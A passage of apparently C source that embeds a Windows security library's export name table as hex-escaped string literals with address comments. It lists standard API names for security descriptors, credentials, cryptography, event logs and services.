7E2946E0 */ "\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x54\x6F" //rityDescriptorTo /* 7E294700 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74" //SecurityDescript /* 7E294720 */ "\x6F\x72\x57\x00\x43\x6F\x6E\x76\x65\x72\x74\x53\x74\x72\x69\x6E" //orW.ConvertStrin /* 7E294740 */ "\x67\x53\x69\x64\x54\x6F\x53\x69\x64\x41\x00\x43\x6F\x6E\x76\x65" //gSidToSidA.Conve /* 7E294760 */ "\x72\x74\x53\x74\x72\x69\x6E\x67\x53\x69\x64\x54\x6F\x53\x69\x64" //rtStringSidToSid /* 7E294780 */ "\x57\x00\x43\x6F\x6E\x76\x65\x72\x74\x54\x6F\x41\x75\x74\x6F\x49" //W.ConvertToAutoI /* 7E2947A0 */ "\x6E\x68\x65\x72\x69\x74\x50\x72\x69\x76\x61\x74\x65\x4F\x62\x6A" //nheritPrivateObj /* 7E2947C0 */ "\x65\x63\x74\x53\x65\x63\x75\x72\x69\x74\x79\x00\x43\x6F\x70\x79" //ectSecurity.Copy /* 7E2947E0 */ "\x53\x69\x64\x00\x43\x72\x65\x61\x74\x65\x43\x6F\x64\x65\x41\x75" //Sid.CreateCodeAu /* 7E294800 */ "\x74\x68\x7A\x4C\x65\x76\x65\x6C\x00\x43\x72\x65\x61\x74\x65\x50" //thzLevel.CreateP /* 7E294820 */ "\x72\x69\x76\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75" //rivateObjectSecu /* 7E294840 */ "\x72\x69\x74\x79\x00\x43\x72\x65\x61\x74\x65\x50\x72\x69\x76\x61" //rity.CreatePriva /* 7E294860 */ "\x74\x65\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75\x72\x69\x74\x79" //teObjectSecurity /* 7E294880 */ "\x45\x78\x00\x43\x72\x65\x61\x74\x65\x50\x72\x69\x76\x61\x74\x65" //Ex.CreatePrivate /* 7E2948A0 */ "\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75\x72\x69\x74\x79\x57\x69" //ObjectSecurityWi /* 7E2948C0 */ "\x74\x68\x4D\x75\x6C\x74\x69\x70\x6C\x65\x49\x6E\x68\x65\x72\x69" //thMultipleInheri /* 7E2948E0 */ "\x74\x61\x6E\x63\x65\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63" //tance.CreateProc /* 7E294900 */ "\x65\x73\x73\x41\x73\x55\x73\x65\x72\x41\x00\x43\x72\x65\x61\x74" //essAsUserA.Creat /* 7E294920 */ "\x65\x50\x72\x6F\x63\x65\x73\x73\x41\x73\x55\x73\x65\x72\x53\x65" //eProcessAsUserSe /* 7E294940 */ "\x63\x75\x72\x65\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65" //cure.CreateProce /* 7E294960 */ "\x73\x73\x41\x73\x55\x73\x65\x72\x57\x00\x43\x72\x65\x61\x74\x65" //ssAsUserW.Create /* 7E294980 */ "\x50\x72\x6F\x63\x65\x73\x73\x57\x69\x74\x68\x4C\x6F\x67\x6F\x6E" //ProcessWithLogon /* 7E2949A0 */ "\x57\x00\x43\x72\x65\x61\x74\x65\x52\x65\x73\x74\x72\x69\x63\x74" //W.CreateRestrict /* 7E2949C0 */ "\x65\x64\x54\x6F\x6B\x65\x6E\x00\x43\x72\x65\x61\x74\x65\x53\x65" //edToken.CreateSe /* 7E2949E0 */ "\x72\x76\x69\x63\x65\x41\x00\x43\x72\x65\x61\x74\x65\x53\x65\x72" //rviceA.CreateSer /* 7E294A00 */ "\x76\x69\x63\x65\x57\x00\x43\x72\x65\x61\x74\x65\x54\x72\x61\x63" //viceW.CreateTrac /* 7E294A20 */ "\x65\x49\x6E\x73\x74\x61\x6E\x63\x65\x49\x64\x00\x43\x72\x65\x61" //eInstanceId.Crea /* 7E294A40 */ "\x74\x65\x57\x65\x6C\x6C\x4B\x6E\x6F\x77\x6E\x53\x69\x64\x00\x43" //teWellKnownSid.C /* 7E294A60 */ "\x72\x65\x64\x44\x65\x6C\x65\x74\x65\x41\x00\x43\x72\x65\x64\x44" //redDeleteA.CredD /* 7E294A80 */ "\x65\x6C\x65\x74\x65\x57\x00\x43\x72\x65\x64\x45\x6E\x75\x6D\x65" //eleteW.CredEnume /* 7E294AA0 */ "\x72\x61\x74\x65\x41\x00\x43\x72\x65\x64\x45\x6E\x75\x6D\x65\x72" //rateA.CredEnumer /* 7E294AC0 */ "\x61\x74\x65\x57\x00\x43\x72\x65\x64\x46\x72\x65\x65\x00\x43\x72" //ateW.CredFree.Cr /* 7E294AE0 */ "\x65\x64\x47\x65\x74\x53\x65\x73\x73\x69\x6F\x6E\x54\x79\x70\x65" //edGetSessionType /* 7E294B00 */ "\x73\x00\x43\x72\x65\x64\x47\x65\x74\x54\x61\x72\x67\x65\x74\x49" //s.CredGetTargetI /* 7E294B20 */ "\x6E\x66\x6F\x41\x00\x43\x72\x65\x64\x47\x65\x74\x54\x61\x72\x67" //nfoA.CredGetTarg /* 7E294B40 */ "\x65\x74\x49\x6E\x66\x6F\x57\x00\x43\x72\x65\x64\x49\x73\x4D\x61" //etInfoW.CredIsMa /* 7E294B60 */ "\x72\x73\x68\x61\x6C\x65\x64\x43\x72\x65\x64\x65\x6E\x74\x69\x61" //rshaledCredentia /* 7E294B80 */ "\x6C\x41\x00\x43\x72\x65\x64\x49\x73\x4D\x61\x72\x73\x68\x61\x6C" //lA.CredIsMarshal /* 7E294BA0 */ "\x65\x64\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x57\x00\x43\x72" //edCredentialW.Cr /* 7E294BC0 */ "\x65\x64\x4D\x61\x72\x73\x68\x61\x6C\x43\x72\x65\x64\x65\x6E\x74" //edMarshalCredent /* 7E294BE0 */ "\x69\x61\x6C\x41\x00\x43\x72\x65\x64\x4D\x61\x72\x73\x68\x61\x6C" //ialA.CredMarshal /* 7E294C00 */ "\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x57\x00\x43\x72\x65\x64" //CredentialW.Cred /* 7E294C20 */ "\x50\x72\x6F\x66\x69\x6C\x65\x4C\x6F\x61\x64\x65\x64\x00\x43\x72" //ProfileLoaded.Cr /* 7E294C40 */ "\x65\x64\x52\x65\x61\x64\x41\x00\x43\x72\x65\x64\x52\x65\x61\x64" //edReadA.CredRead /* 7E294C60 */ "\x44\x6F\x6D\x61\x69\x6E\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C" //DomainCredential /* 7E294C80 */ "\x73\x41\x00\x43\x72\x65\x64\x52\x65\x61\x64\x44\x6F\x6D\x61\x69" //sA.CredReadDomai /* 7E294CA0 */ "\x6E\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x57\x00\x43\x72" //nCredentialsW.Cr /* 7E294CC0 */ "\x65\x64\x52\x65\x61\x64\x57\x00\x43\x72\x65\x64\x52\x65\x6E\x61" //edReadW.CredRena /* 7E294CE0 */ "\x6D\x65\x41\x00\x43\x72\x65\x64\x52\x65\x6E\x61\x6D\x65\x57\x00" //meA.CredRenameW. /* 7E294D00 */ "\x43\x72\x65\x64\x55\x6E\x6D\x61\x72\x73\x68\x61\x6C\x43\x72\x65" //CredUnmarshalCre /* 7E294D20 */ "\x64\x65\x6E\x74\x69\x61\x6C\x41\x00\x43\x72\x65\x64\x55\x6E\x6D" //dentialA.CredUnm /* 7E294D40 */ "\x61\x72\x73\x68\x61\x6C\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C" //arshalCredential /* 7E294D60 */ "\x57\x00\x43\x72\x65\x64\x57\x72\x69\x74\x65\x41\x00\x43\x72\x65" //W.CredWriteA.Cre /* 7E294D80 */ "\x64\x57\x72\x69\x74\x65\x44\x6F\x6D\x61\x69\x6E\x43\x72\x65\x64" //dWriteDomainCred /* 7E294DA0 */ "\x65\x6E\x74\x69\x61\x6C\x73\x41\x00\x43\x72\x65\x64\x57\x72\x69" //entialsA.CredWri /* 7E294DC0 */ "\x74\x65\x44\x6F\x6D\x61\x69\x6E\x43\x72\x65\x64\x65\x6E\x74\x69" //teDomainCredenti /* 7E294DE0 */ "\x61\x6C\x73\x57\x00\x43\x72\x65\x64\x57\x72\x69\x74\x65\x57\x00" //alsW.CredWriteW. /* 7E294E00 */ "\x43\x72\x65\x64\x70\x43\x6F\x6E\x76\x65\x72\x74\x43\x72\x65\x64" //CredpConvertCred /* 7E294E20 */ "\x65\x6E\x74\x69\x61\x6C\x00\x43\x72\x65\x64\x70\x43\x6F\x6E\x76" //ential.CredpConv /* 7E294E40 */ "\x65\x72\x74\x54\x61\x72\x67\x65\x74\x49\x6E\x66\x6F\x00\x43\x72" //ertTargetInfo.Cr /* 7E294E60 */ "\x65\x64\x70\x44\x65\x63\x6F\x64\x65\x43\x72\x65\x64\x65\x6E\x74" //edpDecodeCredent /* 7E294E80 */ "\x69\x61\x6C\x00\x43\x72\x65\x64\x70\x45\x6E\x63\x6F\x64\x65\x43" //ial.CredpEncodeC /* 7E294EA0 */ "\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x00\x43\x72\x79\x70\x74\x41" //redential.CryptA /* 7E294EC0 */ "\x63\x71\x75\x69\x72\x65\x43\x6F\x6E\x74\x65\x78\x74\x41\x00\x43" //cquireContextA.C /* 7E294EE0 */ "\x72\x79\x70\x74\x41\x63\x71\x75\x69\x72\x65\x43\x6F\x6E\x74\x65" //ryptAcquireConte /* 7E294F00 */ "\x78\x74\x57\x00\x43\x72\x79\x70\x74\x43\x6F\x6E\x74\x65\x78\x74" //xtW.CryptContext /* 7E294F20 */ "\x41\x64\x64\x52\x65\x66\x00\x43\x72\x79\x70\x74\x43\x72\x65\x61" //AddRef.CryptCrea /* 7E294F40 */ "\x74\x65\x48\x61\x73\x68\x00\x43\x72\x79\x70\x74\x44\x65\x63\x72" //teHash.CryptDecr /* 7E294F60 */ "\x79\x70\x74\x00\x43\x72\x79\x70\x74\x44\x65\x72\x69\x76\x65\x4B" //ypt.CryptDeriveK /* 7E294F80 */ "\x65\x79\x00\x43\x72\x79\x70\x74\x44\x65\x73\x74\x72\x6F\x79\x48" //ey.CryptDestroyH /* 7E294FA0 */ "\x61\x73\x68\x00\x43\x72\x79\x70\x74\x44\x65\x73\x74\x72\x6F\x79" //ash.CryptDestroy /* 7E294FC0 */ "\x4B\x65\x79\x00\x43\x72\x79\x70\x74\x44\x75\x70\x6C\x69\x63\x61" //Key.CryptDuplica /* 7E294FE0 */ "\x74\x65\x48\x61\x73\x68\x00\x43\x72\x79\x70\x74\x44\x75\x70\x6C" //teHash.CryptDupl /* 7E295000 */ "\x69\x63\x61\x74\x65\x4B\x65\x79\x00\x43\x72\x79\x70\x74\x45\x6E" //icateKey.CryptEn /* 7E295020 */ "\x63\x72\x79\x70\x74\x00\x43\x72\x79\x70\x74\x45\x6E\x75\x6D\x50" //crypt.CryptEnumP /* 7E295040 */ "\x72\x6F\x76\x69\x64\x65\x72\x54\x79\x70\x65\x73\x41\x00\x43\x72" //roviderTypesA.Cr /* 7E295060 */ "\x79\x70\x74\x45\x6E\x75\x6D\x50\x72\x6F\x76\x69\x64\x65\x72\x54" //yptEnumProviderT /* 7E295080 */ "\x79\x70\x65\x73\x57\x00\x43\x72\x79\x70\x74\x45\x6E\x75\x6D\x50" //ypesW.CryptEnumP /* 7E2950A0 */ "\x72\x6F\x76\x69\x64\x65\x72\x73\x41\x00\x43\x72\x79\x70\x74\x45" //rovidersA.CryptE /* 7E2950C0 */ "\x6E\x75\x6D\x50\x72\x6F\x76\x69\x64\x65\x72\x73\x57\x00\x43\x72" //numProvidersW.Cr /* 7E2950E0 */ "\x79\x70\x74\x45\x78\x70\x6F\x72\x74\x4B\x65\x79\x00\x43\x72\x79" //yptExportKey.Cry /* 7E295100 */ "\x70\x74\x47\x65\x6E\x4B\x65\x79\x00\x43\x72\x79\x70\x74\x47\x65" //ptGenKey.CryptGe /* 7E295120 */ "\x6E\x52\x61\x6E\x64\x6F\x6D\x00\x43\x72\x79\x70\x74\x47\x65\x74" //nRandom.CryptGet /* 7E295140 */ "\x44\x65\x66\x61\x75\x6C\x74\x50\x72\x6F\x76\x69\x64\x65\x72\x41" //DefaultProviderA /* 7E295160 */ "\x00\x43\x72\x79\x70\x74\x47\x65\x74\x44\x65\x66\x61\x75\x6C\x74" //.CryptGetDefault /* 7E295180 */ "\x50\x72\x6F\x76\x69\x64\x65\x72\x57\x00\x43\x72\x79\x70\x74\x47" //ProviderW.CryptG /* 7E2951A0 */ "\x65\x74\x48\x61\x73\x68\x50\x61\x72\x61\x6D\x00\x43\x72\x79\x70" //etHashParam.Cryp /* 7E2951C0 */ "\x74\x47\x65\x74\x4B\x65\x79\x50\x61\x72\x61\x6D\x00\x43\x72\x79" //tGetKeyParam.Cry /* 7E2951E0 */ "\x70\x74\x47\x65\x74\x50\x72\x6F\x76\x50\x61\x72\x61\x6D\x00\x43" //ptGetProvParam.C /* 7E295200 */ "\x72\x79\x70\x74\x47\x65\x74\x55\x73\x65\x72\x4B\x65\x79\x00\x43" //ryptGetUserKey.C /* 7E295220 */ "\x72\x79\x70\x74\x48\x61\x73\x68\x44\x61\x74\x61\x00\x43\x72\x79" //ryptHashData.Cry /* 7E295240 */ "\x70\x74\x48\x61\x73\x68\x53\x65\x73\x73\x69\x6F\x6E\x4B\x65\x79" //ptHashSessionKey /* 7E295260 */ "\x00\x43\x72\x79\x70\x74\x49\x6D\x70\x6F\x72\x74\x4B\x65\x79\x00" //.CryptImportKey. /* 7E295280 */ "\x43\x72\x79\x70\x74\x52\x65\x6C\x65\x61\x73\x65\x43\x6F\x6E\x74" //CryptReleaseCont /* 7E2952A0 */ "\x65\x78\x74\x00\x43\x72\x79\x70\x74\x53\x65\x74\x48\x61\x73\x68" //ext.CryptSetHash /* 7E2952C0 */ "\x50\x61\x72\x61\x6D\x00\x43\x72\x79\x70\x74\x53\x65\x74\x4B\x65" //Param.CryptSetKe /* 7E2952E0 */ "\x79\x50\x61\x72\x61\x6D\x00\x43\x72\x79\x70\x74\x53\x65\x74\x50" //yParam.CryptSetP /* 7E295300 */ "\x72\x6F\x76\x50\x61\x72\x61\x6D\x00\x43\x72\x79\x70\x74\x53\x65" //rovParam.CryptSe /* 7E295320 */ "\x74\x50\x72\x6F\x76\x69\x64\x65\x72\x41\x00\x43\x72\x79\x70\x74" //tProviderA.Crypt /* 7E295340 */ "\x53\x65\x74\x50\x72\x6F\x76\x69\x64\x65\x72\x45\x78\x41\x00\x43" //SetProviderExA.C /* 7E295360 */ "\x72\x79\x70\x74\x53\x65\x74\x50\x72\x6F\x76\x69\x64\x65\x72\x45" //ryptSetProviderE /* 7E295380 */ "\x78\x57\x00\x43\x72\x79\x70\x74\x53\x65\x74\x50\x72\x6F\x76\x69" //xW.CryptSetProvi /* 7E2953A0 */ "\x64\x65\x72\x57\x00\x43\x72\x79\x70\x74\x53\x69\x67\x6E\x48\x61" //derW.CryptSignHa /* 7E2953C0 */ "\x73\x68\x41\x00\x43\x72\x79\x70\x74\x53\x69\x67\x6E\x48\x61\x73" //shA.CryptSignHas /* 7E2953E0 */ "\x68\x57\x00\x43\x72\x79\x70\x74\x56\x65\x72\x69\x66\x79\x53\x69" //hW.CryptVerifySi /* 7E295400 */ "\x67\x6E\x61\x74\x75\x72\x65\x41\x00\x43\x72\x79\x70\x74\x56\x65" //gnatureA.CryptVe /* 7E295420 */ "\x72\x69\x66\x79\x53\x69\x67\x6E\x61\x74\x75\x72\x65\x57\x00\x44" //rifySignatureW.D /* 7E295440 */ "\x65\x63\x72\x79\x70\x74\x46\x69\x6C\x65\x41\x00\x44\x65\x63\x72" //ecryptFileA.Decr /* 7E295460 */ "\x79\x70\x74\x46\x69\x6C\x65\x57\x00\x44\x65\x6C\x65\x74\x65\x41" //yptFileW.DeleteA /* 7E295480 */ "\x63\x65\x00\x44\x65\x6C\x65\x74\x65\x53\x65\x72\x76\x69\x63\x65" //ce.DeleteService /* 7E2954A0 */ "\x00\x44\x65\x72\x65\x67\x69\x73\x74\x65\x72\x45\x76\x65\x6E\x74" //.DeregisterEvent /* 7E2954C0 */ "\x53\x6F\x75\x72\x63\x65\x00\x44\x65\x73\x74\x72\x6F\x79\x50\x72" //Source.DestroyPr /* 7E2954E0 */ "\x69\x76\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75\x72" //ivateObjectSecur /* 7E295500 */ "\x69\x74\x79\x00\x44\x75\x70\x6C\x69\x63\x61\x74\x65\x45\x6E\x63" //ity.DuplicateEnc /* 7E295520 */ "\x72\x79\x70\x74\x69\x6F\x6E\x49\x6E\x66\x6F\x46\x69\x6C\x65\x00" //ryptionInfoFile. /* 7E295540 */ "\x44\x75\x70\x6C\x69\x63\x61\x74\x65\x54\x6F\x6B\x65\x6E\x00\x44" //DuplicateToken.D /* 7E295560 */ "\x75\x70\x6C\x69\x63\x61\x74\x65\x54\x6F\x6B\x65\x6E\x45\x78\x00" //uplicateTokenEx. /* 7E295580 */ "\x45\x6C\x66\x42\x61\x63\x6B\x75\x70\x45\x76\x65\x6E\x74\x4C\x6F" //ElfBackupEventLo /* 7E2955A0 */ "\x67\x46\x69\x6C\x65\x41\x00\x45\x6C\x66\x42\x61\x63\x6B\x75\x70" //gFileA.ElfBackup /* 7E2955C0 */ "\x45\x76\x65\x6E\x74\x4C\x6F\x67\x46\x69\x6C\x65\x57\x00\x45\x6C" //EventLogFileW.El /* 7E2955E0 */ "\x66\x43\x68\x61\x6E\x67\x65\x4E\x6F\x74\x69\x66\x79\x00\x45\x6C" //fChangeNotify.El /* 7E295600 */ "\x66\x43\x6C\x65\x61\x72\x45\x76\x65\x6E\x74\x4C\x6F\x67\x46\x69" //fClearEventLogFi /* 7E295620 */ "\x6C\x65\x41\x00\x45\x6C\x66\x43\x6C\x65\x61\x72\x45\x76\x65\x6E" //leA.ElfClearEven /* 7E295640 */ "\x74\x4C\x6F\x67\x46\x69\x6C\x65\x57\x00\x45\x6C\x66\x43\x6C\x6F" //tLogFileW.ElfClo /* 7E295660 */ "\x73\x65\x45\x76\x65\x6E\x74\x4C\x6F\x67\x00\x45\x6C\x66\x44\x65" //seEventLog.ElfDe /* 7E295680 */ "\x72\x65\x67\x69\x73\x74\x65\x72\x45\x76\x65\x6E\x74\x53\x6F\x75" //registerEventSou /* 7E2956A0 */ "\x72\x63\x65\x00\x45\x6C\x66\x46\x6C\x75\x73\x68\x45\x76\x65\x6E" //rce.ElfFlushEven /* 7E2956C0 */ "\x74\x4C\x6F\x67\x00\x45\x6C\x66\x4E\x75\x6D\x62\x65\x72\x4F\x66" //tLog.ElfNumberOf /* 7E2956E0 */ "\x52\x65\x63\x6F\x72\x64\x73\x00\x45\x6C\x66\x4F\x6C\x64\x65\x73" //Records.ElfOldes /* 7E295700 */ "\x74\x52\x65\x63\x6F\x72\x64\x00\x45\x6C\x66\x4F\x70\x65\x6E\x42" //tRecord.ElfOpenB /* 7E295720 */ "\x61\x63\x6B\x75\x70\x45\x76\x65\x6E\x74\x4C\x6F\x67\x41\x00\x45" //ackupEventLogA.E /* 7E295740 */ "\x6C\x66\x4F\x70\x65\x6E\x42\x61\x63\x6B\x75\x70\x45\x76\x65\x6E" //lfOpenBackupEven /* 7E295760 */ "\x74\x4C\x6F\x67\x57\x00\x45\x6C\x66\x4F\x70\x65\x6E\x45\x76\x65" //tLogW.ElfOpenEve /* 7E295780 */ "\x6E\x74\x4C\x6F\x67\x41\x00\x45\x6C\x66\x4F\x70\x65\x6E\x45\x76" //ntLogA.ElfOpenEv /* 7E2957A0 */ "\x65\x6E\x74\x4C\x6F\x67\x57\x00\x45\x6C\x66\x52\x65\x61\x64\x45" //entLogW.ElfReadE /* 7E2957C0 */ "\x76\x65\x6E\x74\x4C\x6F\x67\x41\x00\x45\x6C\x66\x52\x65\x61\x64" //ventLogA.ElfRead /* 7E2957E0 */ "\x45\x76\x65\x6E\x74\x4C\x6F\x67\x57\x00\x45\x6C\x66\x52\x65\x67" //EventLogW.ElfReg /* 7E295800 */ "\x69\x73\x74\x65\x72\x45\x76\x65\x6E\x74\x53\x6F\x75\x72\x63\x65" //isterEventSource /* 7E295820 */ "\x41\x00\x45\x6C\x66\x52\x65\x67\x69\x73\x74\x65\x72\x45\x76\x65" //A.ElfRegisterEve /* 7E295840 */ "\x6E\x74\x53\x6F\x75\x72\x63\x65\x57\x00\x45\x6C\x66\x52\x65\x70" //ntSourceW.ElfRep /* 7E295860 */ "\x6F\x72\x74\x45\x76\x65\x6E\x74\x41\x00\x45\x6C\x66\x52\x65\x70" //ortEventA.ElfRep /* 7E295880 */ "\x6F\x72\x74\x45\x76\x65\x6E\x74\x57\x00\x45\x6E\x61\x62\x6C\x65" //ortEventW.Enable /* 7E2958A0 */ "\x54\x72\x61\x63\x65\x00\x45\x6E\x63\x72\x79\x70\x74\x46\x69\x6C" //Trace.EncryptFil /* 7E2958C0 */ "\x65\x41\x00\x45\x6E\x63\x72\x79\x70\x74\x46\x69\x6C\x65\x57\x00" //eA.EncryptFileW. /* 7E2958E0 */ "\x45\x6E\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x4B\x65\x79" //EncryptedFileKey /* 7E295900 */ "\x49\x6E\x66\x6F\x00\x45\x6E\x63\x72\x79\x70\x74\x69\x6F\x6E\x44" //Info.EncryptionD /* 7E295920 */ "\x69\x73\x61\x62\x6C\x65\x00\x45\x6E\x75\x6D\x44\x65\x70\x65\x6E" //isable.EnumDepen /* 7E295940 */ "\x64\x65\x6E\x74\x53\x65\x72\x76\x69\x63\x65\x73\x41\x00\x45\x6E" //dentServicesA.En /* 7E295960 */ "\x75\x6D\x44\x65\x70\x65\x6E\x64\x65\x6E\x74\x53\x65\x72\x76\x69" //umDependentServi /* 7E295980 */ "\x63\x65\x73\x57\x00\x45\x6E\x75\x6D\x53\x65\x72\x76\x69\x63\x65" //cesW.EnumService /* 7E2959A0 */ "\x47\x72\x6F\x75\x70\x57\x00\x45\x6E\x75\x6D\x53\x65\x72\x76\x69" //GroupW.EnumServi /* 7E2959C0 */ "\x63\x65\x73\x53\x74\x61\x74\x75\x73\x41\x00\x45\x6E\x75\x6D\x53" //cesStatusA.EnumS /* 7E2959E0 */ "\x65\x72\x76\x69\x63\x65\x73\x53\x74\x61\x74\x75\x73\x45\x78\x41" //ervicesStatusExA /* 7E295A00 */ "\x00\x45\x6E\x75\x6D\x53\x65\x72\x76\x69\x63\x65\x73\x53\x74\x61" //.EnumServicesSta /* 7E295A20 */ "\x74\x75\x73\x45\x78\x57\x00\x45\x6E\x75\x6D\x53\x65\x72\x76\x69" //tusExW.EnumServi /* 7E295A40 */ "\x63\x65\x73\x53\x74\x61\x74\x75\x73\x57\x00\x45\x6E\x75\x6D\x65" //cesStatusW.Enume /* 7E295A60 */ "\x72\x61\x74\x65\x54\x72\x61\x63\x65\x47\x75\x69\x64\x73\x00\x45" //rateTraceGuids.E /* 7E295A80 */ "\x71\x75\x61\x6C\x44\x6F\x6D\x61\x69\x6E\x53\x69\x64\x00\x45\x71" //qualDomainSid.Eq /* 7E295AA0 */ "\x75\x61\x6C\x50\x72\x65\x66\x69\x78\x53\x69\x64\x00\x45\x71\x75" //ualPrefixSid.Equ /* 7E295AC0 */ "\x61\x6C\x53\x69\x64\x00\x46\x69\x6C\x65\x45\x6E\x63\x72\x79\x70" //alSid.FileEncryp /* 7E295AE0 */ "\x74\x69\x6F\x6E\x53\x74\x61\x74\x75\x73\x41\x00\x46\x69\x6C\x65" //tionStatusA.File /* 7E295B00 */ "\x45\x6E\x63\x72\x79\x70\x74\x69\x6F\x6E\x53\x74\x61\x74\x75\x73" //EncryptionStatus /* 7E295B20 */ "\x57\x00\x46\x69\x6E\x64\x46\x69\x72\x73\x74\x46\x72\x65\x65\x41" //W.FindFirstFreeA /* 7E295B40 */ "\x63\x65\x00\x46\x6C\x75\x73\x68\x54\x72\x61\x63\x65\x41\x00\x46" //ce.FlushTraceA.F /* 7E295B60 */ "\x6C\x75\x73\x68\x54\x72\x61\x63\x65\x57\x00\x46\x72\x65\x65\x45" //lushTraceW.FreeE /* 7E295B80 */ "\x6E\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x4B\x65\x79\x49" //ncryptedFileKeyI /* 7E295BA0 */ "\x6E\x66\x6F\x00\x46\x72\x65\x65\x45\x6E\x63\x72\x79\x70\x74\x69" //nfo.FreeEncrypti /* 7E295BC0 */ "\x6F\x6E\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x48\x61\x73" //onCertificateHas /* 7E295BE0 */ "\x68\x4C\x69\x73\x74\x00\x46\x72\x65\x65\x49\x6E\x68\x65\x72\x69" //hList.FreeInheri /* 7E295C00 */ "\x74\x65\x64\x46\x72\x6F\x6D\x41\x72\x72\x61\x79\x00\x46\x72\x65" //tedFromArray.Fre /* 7E295C20 */ "\x65\x53\x69\x64\x00\x47\x65\x74\x41\x63\x63\x65\x73\x73\x50\x65" //eSid.GetAccessPe /* 7E295C40 */ "\x72\x6D\x69\x73\x73\x69\x6F\x6E\x73\x46\x6F\x72\x4F\x62\x6A\x65" //rmissionsForObje /* 7E295C60 */ "\x63\x74\x41\x00\x47\x65\x74\x41\x63\x63\x65\x73\x73\x50\x65\x72" //ctA.GetAccessPer /* 7E295C80 */ "\x6D\x69\x73\x73\x69\x6F\x6E\x73\x46\x6F\x72\x4F\x62\x6A\x65\x63" //missionsForObjec /* 7E295CA0 */ "\x74\x57\x00\x47\x65\x74\x41\x63\x65\x00\x47\x65\x74\x41\x63\x6C" //tW.GetAce.GetAcl /* 7E295CC0 */ "\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x47\x65\x74\x41" //Information.GetA /* 7E295CE0 */ "\x75\x64\x69\x74\x65\x64\x50\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E" //uditedPermission /* 7E295D00 */ "\x73\x46\x72\x6F\x6D\x41\x63\x6C\x41\x00\x47\x65\x74\x41\x75\x64" //sFromAclA.GetAud /* 7E295D20 */ "\x69\x74\x65\x64\x50\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x73\x46" //itedPermissionsF /* 7E295D40 */ "\x72\x6F\x6D\x41\x63\x6C\x57\x00\x47\x65\x74\x43\x75\x72\x72\x65" //romAclW.GetCurre /* 7E295D60 */ "\x6E\x74\x48\x77\x50\x72\x6F\x66\x69\x6C\x65\x41\x00\x47\x65\x74" //ntHwProfileA.Get /* 7E295D80 */ "\x43\x75\x72\x72\x65\x6E\x74\x48\x77\x50\x72\x6F\x66\x69\x6C\x65" //CurrentHwProfile /* 7E295DA0 */ "\x57\x00\x47\x65\x74\x45\x66\x66\x65\x63\x74\x69\x76\x65\x52\x69" //W.GetEffectiveRi /* 7E295DC0 */ "\x67\x68\x74\x73\x46\x72\x6F\x6D\x41\x63\x6C\x41\x00\x47\x65\x74" //ghtsFromAclA.Get /* 7E295DE0 */ "\x45\x66\x66\x65\x63\x74\x69\x76\x65\x52\x69\x67\x68\x74\x73\x46" //EffectiveRightsF /* 7E295E00 */ "\x72\x6F\x6D\x41\x63\x6C\x57\x00\x47\x65\x74\x45\x76\x65\x6E\x74" //romAclW.GetEvent /* 7E295E20 */ "\x4C\x6F\x67\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x47" //LogInformation.G /* 7E295E40 */ "\x65\x74\x45\x78\x70\x6C\x69\x63\x69\x74\x45\x6E\x74\x72\x69\x65" //etExplicitEntrie /* 7E295E60 */ "\x73\x46\x72\x6F\x6D\x41\x63\x6C\x41\x00\x47\x65\x74\x45\x78\x70" //sFromAclA.GetExp /* 7E295E80 */ "\x6C\x69\x63\x69\x74\x45\x6E\x74\x72\x69\x65\x73\x46\x72\x6F\x6D" //licitEntriesFrom /* 7E295EA0 */ "\x41\x63\x6C\x57\x00\x47\x65\x74\x46\x69\x6C\x65\x53\x65\x63\x75" //AclW.GetFileSecu /* 7E295EC0 */ "\x72\x69\x74\x79\x41\x00\x47\x65\x74\x46\x69\x6C\x65\x53\x65\x63" //rityA.GetFileSec /* 7E295EE0 */ "\x75\x72\x69\x74\x79\x57\x00\x47\x65\x74\x49\x6E\x66\x6F\x72\x6D" //urityW.GetInform /* 7E295F00 */ "\x61\x74\x69\x6F\x6E\x43\x6F\x64\x65\x41\x75\x74\x68\x7A\x4C\x65" //ationCodeAuthzLe /* 7E295F20 */ "\x76\x65\x6C\x57\x00\x47\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74" //velW.GetInformat /* 7E295F40 */ "\x69\x6F\x6E\x43\x6F\x64\x65\x41\x75\x74\x68\x7A\x50\x6F\x6C\x69" //ionCodeAuthzPoli /* 7E295F60 */ "\x63\x79\x57\x00\x47\x65\x74\x49\x6E\x68\x65\x72\x69\x74\x61\x6E" //cyW.GetInheritan /* 7E295F80 */ "\x63\x65\x53\x6F\x75\x72\x63\x65\x41\x00\x47\x65\x74\x49\x6E\x68" //ceSourceA.GetInh /* 7E295FA0 */ "\x65\x72\x69\x74\x61\x6E\x63\x65\x53\x6F\x75\x72\x63\x65\x57\x00" //eritanceSourceW. /* 7E295FC0 */ "\x47\x65\x74\x4B\x65\x72\x6E\x65\x6C\x4F\x62\x6A\x65\x63\x74\x53" //GetKernelObjectS /* 7E295FE0 */ "\x65\x63\x75\x72\x69\x74\x79\x00\x47\x65\x74\x4C\x65\x6E\x67\x74" //ecurity.GetLengt /* 7E296000 */ "\x68\x53\x69\x64\x00\x47\x65\x74\x4C\x6F\x63\x61\x6C\x4D\x61\x6E" //hSid.GetLocalMan /* 